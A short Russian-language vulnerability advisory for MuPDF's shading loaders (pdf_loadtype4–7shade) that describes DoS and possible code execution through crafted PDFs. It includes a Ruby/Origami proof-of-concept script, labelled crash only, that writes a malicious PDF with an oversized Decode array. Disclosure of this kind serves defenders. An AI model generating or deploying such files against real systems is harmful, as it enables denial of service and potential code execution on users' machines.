Программа: MuPDF
Уязвимость позволяет удаленному злоумышленнику осуществить DoS атаку и
выполнить произвольный код на целевой системе. Уязвимость существует из-за
ошибок в функциях "pdf_loadtype4shade()", "pdf_loadtype5shade()",
"pdf_loadtype6shade()" и "pdf_loadtype7shade()" в mupdf/pdf_shade4.c. Атакующий
может передать специально сформированный PDF файл, что приведет к отказу системы
в обслуживании или выполнению произвольного кода.
Эксплоит:
# MuPDF pdf_loadtype4shade() PoC code (crash only)
# authors: Christophe Devine and Guillaume Delugr?
$: << "sources/parser"
require 'parser.rb'
include Origami
sploit = [ 1234 ] * 250
shader = Graphics::Pattern::Shading::FreeFormTriangleMesh.new
shader.ColorSpace = Graphics::Color::Space::DEVICE_RGB
shader.BitsPerCoordinate = 24
shader.BitsPerComponent = 16
shader.BitsPerFlag = 8
shader.Decode = sploit
page = Page.new.add_shading(:kikoo, shader)
page.Contents = ContentStream.new
page.Contents.paint_shading(:kikoo)
PDF.new.append_page(page).saveas('toto.pdf')